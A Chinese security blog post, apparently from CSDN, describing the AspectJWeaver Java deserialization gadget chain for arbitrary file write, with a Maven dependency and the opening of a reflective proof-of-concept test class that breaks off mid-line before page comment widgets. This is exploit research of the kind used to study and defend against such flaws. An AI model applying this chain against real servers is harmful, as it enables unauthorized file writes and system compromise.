Sangfor华东天勇战队:AspectJWeaver反序列化利用链

文章展示了如何通过Java反射技术调用AspectJ库中的私有内部类SimpleCache$StoreableCachingMap,结合CommonsCollections的LazyMap特性,构造特定的数据结构,利用BadAttributeValueExpException的反序列化过程触发文件写入操作。这个过程涉及到反射调用、内部类访问、序列化与反序列化的安全问题。

依赖:

<dependencies>
    <dependency>
        <groupId>org.aspectj</groupId>
        <artifactId>aspectjweaver</artifactId>
        <version>1.9.2</version>
     </dependency>
</dependencies>

测试类:

import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;

public class test {
   
   
    public static void main(String[] args) throws Exception{
   
   
        //反射获取构造函数
        Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        con.setAccessible(true);
        //实例化对象
        HashMap map =  (HashMap)con.newInstance("D:",1);
        //调用其put方法
        map.pu
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值